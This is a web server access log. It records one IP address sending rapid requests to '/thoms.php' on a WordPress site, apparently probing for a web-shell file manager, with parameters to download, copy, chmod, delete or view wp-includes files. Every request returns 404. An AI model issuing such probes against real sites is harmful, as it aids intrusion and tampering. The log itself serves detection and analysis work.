45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?dl=class-wp-widget-factory.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?dl=category-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=category-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?chmod=class-wp-icons-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icons-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?dl=ms-network.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-network.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?chmod=option.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=option.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?del=nav-menu.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?chmod=rss.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rss.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:38 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=taxonomy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Frest-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Futf8.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Futf8.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2FText&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-site.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-site.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-i18n.json HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=fonts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2FText HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?del=canonical.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-pop3.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:39 -0400] "GET /thoms.php?dl=class-walker-category.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?dl=class-wp-network-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?dl=class-wp-xmlrpc-server.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-atom.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?chmod=class-wp-image-editor-imagick.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcomment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcomment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?del=embed-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fhttp.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fhttp.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?del=media-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?chmod=media.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:40 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=post-formats.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fabilities-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fabilities-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=bookmark-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-view-config-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-view-config-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fhttps-migration.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fhttps-migration.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2FRequests HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fquery.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fquery.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?del=view-config.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=view-config.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fabilities-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fabilities-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?del=registration-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-requests.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?del=class-wp-block.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class.wp-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?dl=comment-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?chmod=ms-site.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
